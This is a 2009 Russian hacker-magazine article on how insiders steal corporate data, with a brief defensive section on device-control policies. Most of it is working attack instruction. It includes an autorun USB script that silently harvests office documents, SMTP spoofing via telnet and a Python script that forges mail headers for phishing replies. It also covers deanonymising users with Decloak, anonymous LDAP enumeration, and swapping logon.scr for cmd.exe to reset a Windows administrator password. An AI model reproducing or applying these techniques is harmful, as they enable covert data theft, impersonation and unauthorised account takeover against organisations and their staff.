Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #122, ФЕВРАЛЬ 2009 г.

Глазами инсайдера. Реальные истории о том, как работают «засланные казачки»

Андрей Комаров (komarov@itdefence.ru)




Угроза инсайда – одна из серьезнейших проблем корпоративной среды. Даже в организации с продуманной сетевой инфраструктурой остается опасность человеческого фактора. Защититься от людей, специально внедренных в компанию и обладающих техническими знаниями для сбора конфиденциальной информации, крайне сложно. Чтобы на корню предотвратить такие попытки, необходимо, как минимум, быть знакомым с основными приемами инсайдеров.

Злое зло, или Внешние носители

Данные, представляющие коммерческий интерес, есть в любой организации. Другое дело, что в небольшом рекламном агентстве об этом практически не задумываются, а на крупном оборонном заводе безопасностью занимается целый отдел. В последнем случае многие действия работников жестко регламентируются. Одним из самых распространенных ограничений является запрет на использование внешних носителей. Забавное в этой ситуации то, что даже на очень серьезных промышленных предприятиях запрещены USB-флешки и внешние жесткие диски, хотя любой работник по-прежнему может использовать телефон, плеер и кучу других устройств, которые отлично могут применяться для переноса данных. Впрочем, у недобросовестного работника куда больше вариантов для подключения! Помимо банального USB, это могут быть порты COM, LPT и Firewire, интерфейсы IDE и SATA, разъемы PCMCIA или технологии для беспроводной передачи данных Bluetooth, Wi-Fi, IrDa.

Проблема неконтролируемого движения информации внутри защищенного периметра – настоящая морока для системных администраторов, но при желании можно решить и ее. Неоценимую помощь в этом оказывают специальные программные инструменты вроде DeviceLock (www.devicelock.com/ru), Zlock (www.securit.ru/products/info/zlock), Sanctuary Device Control (www.lumension.com). Мониторы доступа устанавливаются на все компьютеры и внедряются в операционную систему на уровне ядра, не давая пользователю отключить их или обойти (кстати, Microsoft заблокировала возможность модификации ядра в Windows Vista), либо задают соответствующие политики на уровне домена. В основе каждой лежит список контроля доступа, состоящий из идентификаторов доверенных устройств. Правило простое: если устройство не опознано (то есть не входит в доверенный список), – доступ запрещается.

Windows Server 2008, которую многие еще не успели «пощупать как следует», предоставляет возможность защититься от подобных опасностей штатными средствами Active Directory. Контроль доступа реализуется через оснастку групповых политик (Local Group Policy Editor), – ее можно вызвать командой «cmd.exe > gpedit.msc». В появившемся окне необходимо выбрать Administrative Templates-System-Device Installation. Далее шагаем в Allow installation of devices that match any of these device IDs и вот здесь-то указываем идентификаторы тех устройств, которые могут быть примонтированы в систему. К примеру, можно включить пользователю флоппи или же наоборот запретить его. Как узнать эти идентификаторы? При включении той же флешки в компьютер перейди в Device Manager («Мой компьютер -> Управление -> Диспетчер устройств») и внимательно посмотри на идентификаторы каждого USB Mass Storage Device. Они имеют примерно следующий вид:

USBSTOR\Disk&Ven_JetFlash&Prod_TS2GJFV30&Rev_8.07\XXXXXXXX&0

XXXXXXXX – и есть тот самый ID.

Обновив список контроля доступа, не забудь о команде gpupdate – чтобы изменения отразились в системе. Вот такое полезное нововведение серверной Винды!

Давай сделаем это по-быстрому

О контроле доступа подключаемых носителей администраторы задумываются далеко не всегда, а это значит, что утащить ценные данные может не только собственный работник, но и вообще любой человек, случайно оказавшийся у компьютера. Причем, чтобы не копаться вручную и не привлекать внимание своими лихорадочными действиями в «Проводнике», он вполне может подготовиться и сварганить скрипт, который сам просканирует доступные диски и отберет нужные файлы по заданным критериям. Написать подобную приблуду ничего не стоит на том же самом JavaScript'е. Попробуем сами. Сначала, с помощью вспомогательных переменных обозначим интересующие расширения файлов, которые нужно копировать, а также укажем давность обновления файла (более древние файлы будут просто игнорироваться):

var patch = /\.(doc|rtf|xls|txt)$/i;
var diff = new Date(2007,05,01);

Далее пишем класс, который будет рекурсивно обходить носители. Для каждого объекта проверяется расширение и дата создания, после чего принимается решение о его копировании на флешку:

var softwareEnumerator = new Enumerator(softwareFolder.Files);
softwareEnumerator.moveFirst();
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
if ((softwareEnumerator.item().Name.match(patch))
&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())
||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())
||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
try {
fso.CopyFile(## копируем файл в нужное место);
} catch (e) {
if (e.number == 61) {
WScript.Quit(0);
}
}
}
}

Полную версию скрипта с обработкой исключений ты найдешь на нашем диске. Чтобы скрипт запускался автоматически, злоумышленник может забросить на флешку .inf-файл с информацией об автозагрузке. С помощью интерпретатора wscript он будет выполнять наш скрипт:

[autorun]
shellexecute=wscript autorun.js
shell=update
shell\update=Обновить
shell\update\command=wscript autorun.js

Премудрости правильной переписки

Пожалуй, нигде не найти более актуальной и ценной информации, чем в почтовых аккаунтах топ-менеджеров или даже рядовых сотрудников. Для доступа к ним злоумышленники порой идут на самые нестандартные решения и активно используют социальную инженерию. Пускай на простые уловки уже никто не идет, но и здесь свои премудрости. Вот что ты будешь делать, если от твоего непосредственного начальника придет письмо: «Пришли мне, пожалуйста, документ, над которым мы работали вчера»? Вероятно, ругнувшись на предметность разговора, вышлешь какой-нибудь файл, добавив на всякий случай вопрос: «этот?». А теперь повод для размышления: многие SMTP-серверы можно использовать как Relay и спуфить (подделывать) адрес отправителя. Тут есть свои ограничения, но в целом прием работает на ура. Напомню, что сделать это можно прямо через telnet:

telnet smtp_server 25
>220 smtp.*.ru ESMTP Sende-mail 8.9.3/8.9.3; Mon, 27 May 2002 17:38:54 +0400 (MSD)
helo smtp_server
>500 Command unrecognized: {{}helo smtp_server – нас послали
> 250 smtp.*. … , pleased to meet you – все, едем дальше
e-mail from: misha@real.xakep.ru
rcpt to: lamer@e-mail.ru
data пишем_текст [enter]
.
[enter]
250 RAA07552 Message accepted for delivery


При удачном раскладе сообщение будет доставлено жертве с содержанием домена real.xakep.ru в адресе отправителя. Конечно, трюк может и не удаться. Во-первых, SMTP-север может банально запретить релейинг или обслуживать пользователей из какой-то конкретной подсети IP-адресов. Во-вторых, злую шутку может сыграть пограничный транспорт или агент кодов. Если рассматривать ситуацию с Exchange Server 2007, то подмену сильно затрудняет так называемый код отправителя, который заносится в метаданные каждого сообщения. Получив почтовое сообщение, граничный транспортный сервер запрашивает сервер DNS отправителя, чтобы убедиться, что IP-адрес, с которого было получено сообщение, уполномочен отправлять сообщения на домен, указанный в заголовках сообщения. А анализ кода отправителя используется для оценки вероятности того, что присланное письмо не является спамом. Подобные механизмы дают неплохой результат и сильно осложняют процесс спуфинга.

Но предположим, все провернули удачно, вписали в сообщение нужный текст и даже прикрепили опасный аттачик - как теперь получить от человека ответ? Указывать левый адрес в поле Reply-To – большое палево. Такой мейл тут же отобразится в почтовом клиенте и вызовет подозрения у более-менее подкованного юзера. Тут есть один хинт: вместо Reply-to можно использовать служебный заголовок Errors-To, указав адрес, на который будет отправлено письмо в случае ошибки. Если адреса, указанного в поле Reply-to, не существует (он может быть из доверенного домена), то письмо будет отправлено на адрес, указанный с помощью Errors-To.

To: jertva@mail.ru
From: Support <support@microsoft.com>
Reply-To:Support <technical.support@microsoft.com>
Errors-To:Support moe_milo@mail.ru

В нашем случае, если адреса technical.support@microsoft.com не существует, то письмо будет перенаправлено на moe_milo@mail.ru. Удобно это тем, что жертва может посмотреть заголовок Reply-To в клиенте, но ни один клиент не покажет заголовок Errors-To – если, конечно, не посмотреть все header'ы письма. Теперь подумаем, как сконструировать такие заголовки без заморочек (с telnet или netcat можно капитально намучиться). Для решения проблемы подойдет любой язык программирования, худо-бедно поддерживающий работу с SMTP. Мы будем использовать Python, – с SMTP он работает очень даже неплохо :).
Сначала подключаем необходимые модули:

import smtplib, sys, MimeWriter, mimetypes, mimetools, base64

Далее колдуем с заголовками сообщения, указывая нужные адреса в Reply-To и Errors-To и используя специальный метод addheader():

writer = MimeWriter.MimeWriter(message) #вызов функции для подготовки импорта почтовых заголовков
writer.addheader('To', to)
writer.addheader('From', sender)
writer.addheader(‘Reply-To’, ‘usual@mail.ru’) #сюда придет ответ после спуфинга
writer.addheader('Subject', subject)
writer.addheader('MIME-Version', '1.0')
writer.startmultipartbody('mixed')

Теперь добавляем само сообщение:

part = writer.nextpart()
body = part.startbody('text/plain')
part.flushheaders()
body.write(text)

И последний этап - собственно отправляем письмо, используя функцию sendmail():

smtp = smtplib.SMTP(SERVER, PORT)
smtp.set_debuglevel(1)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()

Полную версию скрипта, в том числе, с частью кода, отвечающего за работу с аттачами, ты найдешь на DVD. Вот такая корпоративная уловка – диалоги о природе и птичках со службами ИБ различных компаний велись, благодаря этим трюкам, целыми сутками.

Где же ты, моя звезда?

Часто именно с помощью социальной инженерии раскрываются наиболее важные сведения о внутреннем устройстве сети. Знание некоторых деталей, которые можно упомянуть в разговоре, сильно облегчит задачу социальному инженеру. Такие данные можно собрать из тех же самых заголовков почтовых сообщений, генерируемых почтовыми демонами. Например, если отправить сообщение на адрес несуществующего в системе пользователя, то с большой вероятностью получишь ответ («рикошет») от интересующего тебя сервера, в котором помимо ошибки («Извините, такого пользователя не существует»), скорее всего, окажется интересная информация. Чаще всего, это внутренний IP-адрес и имя самого почтового сервера. Хочу отметить, что прием особенно эффективен с серверами Exchange, расположенными за каким-либо почтовым ретранслятором.

В ход также идут различные средства, чтобы узнать больше о пользователе. Задача усложняется в случае использования им средств анонимизации (прокси и т.п.). В данном случае особенно рекомендую обратить внимание на проект от создателей известного хакерского комбайна Metasploit – Decloak (decloak.net). Он предназначен для разоблачения особо хитрых людей, которые думают, что хорошо замаскировались. В арсенале у него несколько приемов, первый из которых - вызов специальной функции на языке Java. Если у пользователя установлен Quick Time, то путем загрузки специального параметра апплет будет пытаться вынудить браузер жертвы открыть прямое (direct) соединение и выдать свой настоящий адрес. Другой способ - метод загрузки Word-документа с его авто-открытием, в случае которого со стороннего ресурса незаметно будет подкачена картинка, что может позволить обойти прокси и спалить реальный DNS-сервер пользователя. Установка прямого соединения может быть инициирована и с помощью Flash-приложения, а если у пользователя установлен iTunes, то хитреца можно вывести на чистую воду с помощью нового протокола обращения itms. С недавнего времени разработчики сделали для своего проекта «Decloaking Engine Remote API», который можно использовать на сторонних ресурсах. Чтобы применить его, генерируем себе уникальный идентификатор:

md5("secret" . $_SERVER['REMOTE_ADDR'] . $_SERVER['REMOTE_PORT'] . time() . "secret");

Как только мы его получили, смело юзаем следующий линк:

<iframe src="http://decloak.net/decloak.html?cid=<идентификатор>"></iframe>

Для получения результатов просматриваем:

decloak.net/report.html?cid=<идентификатор>&format=text

Берем на вооружение LDAP

В больших организациях практически всегда развернуты службы каталогов, в которых хранится информация о пользователях (в том числе, с указанием должностных обязанностей). Одной из таких служб является LDAP, а протокол, по которому она работает, поддерживает и знакомая всем Windows-пользователям Active Directory. Очень часто эта служба разрешает доступ с anonymous-аккаунта, как это бывает в случае с FTP. Стандартные порты LDAP – это 389/636, поэтому несложно узнать о наличии сервера с помощью сканирования nmap’ом: Nmap –sV host –p 636 –PN.

Подключение выполняется с помощью сторонних клиентских утилит (LdapBrowser/Ldap Explorer). На Linux/Unixlike-системах можно воспользоваться встроенными средствами: ldapadd, ldapcompare, ldapdelete, ldapmodify, ldapmodrdn, ldappasswd, ldapsearch, ldapwhoami. В случае доступа к каталогу LDAP вполне реально узнать адреса, учетки, должности пользователей и организационную структуру предприятия. Пример типичного запроса и ответ на него:

ldapsearch -LLL "(sn=smith)" cn sn telephoneNumber
dn: uid=jts, dc=example, dc=com
cn: John Smith
cn: John T. Smith
sn: Smith
sn;lang-en: Smith
sn;lang-de: Schmidt
telephoneNumber: 1 555 123-4567

А какие файлы самые ценные?

Для оценки того, как часто производился доступ к тем или иным файлам, можно воспользоваться простой и всем известной командой с такими флагами:

Dir /t:a /a /s /o:d c
(успешное выполнение команды предоставляет рекурсивный список каталогов всех времен доступа к файлам на диске C);

Dir /t:w /a /s /o:d d
(список каталогов всех времен модификации файлов на диске D);

Dir /t:c /a /s /o:d e
(список каталогов всех времен создания файлов на диске E).

В сетевых окружениях или сервисах, например, FTP-cерверах, также есть свои инструменты. В случае с FTP интерес представляет команда SITE STATS, отображающая статистику работы с FTP-сервером с выводом использованных команд.

Хинт с BIOS’ом

Контроль доступа к подключаемым девайсам - это хорошо. Но бреши остаются даже при установке серьезных дорогостоящих решений для контроля подключаемых устройств. Дело в том, что многие материнские платы поддерживают горячую клавишу для выбора загрузочного устройства и при этом лишены возможности ее отключения. То есть, даже при закрытом паролем БИОСе можно во время загрузки выбрать вариант запуска с внешнего носителя. Тут актуальны инструменты вроде LiveCD на базе Linux. Таким образом можно обойти многие ограничения и получить доступ к жестким дискам. Более того, злоумышленник может даже сбросить пароль администратора с помощью специальной утилиты или следующей уловки. Сначала выполняем команды:

C:\> cd \winnt\system32
C:\winnt\system32> copy logon.scr logon.scr.old
C:\winnt\system32> del logon.scr
C:\winnt\system32> copy cmd.exe logon.scr

Теперь перегружаемся и, погладывая на окно для ввода логина и пароля, ждем, пока система не попытается запустить хранитель экрана. А коль уж мы подменили его файлом cmd.exe, то вместо строящегося водопровода или другой красоты, увидим окошко командной строки. Далее меняем пароль системного администратора командой net user administrator <newpassword>.

DVD

На диске ты найдешь инструменты для защиты от инсайда, а также утилиты для сбора инфы.

INFO

Файлы-документы Office 97 имеют поле GUID (глобальный идентификатор), содержащий MAC-адрес компьютера. Чтобы извлечь эту информацию, достаточно воспользоваться HEX-редактором, поискав по строке «GUID».

WARNING

Информация представлена исключительно в целях ознакомления, чтобы указать представителям различных компаний на возможные бреши в безопасности. За использование материалов статьи в противозаконных целях автор и редакция ответственности не несут.

Содержание